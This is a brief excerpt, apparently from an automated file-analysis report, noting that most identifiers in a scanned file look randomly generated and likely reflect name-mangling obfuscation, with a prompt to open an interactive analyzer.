350 of 572 identifiers look randomly generated (e.g. 'urfcAWAirGFtBBcAuepfIBBwGwwViyPEITvtyQAR') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.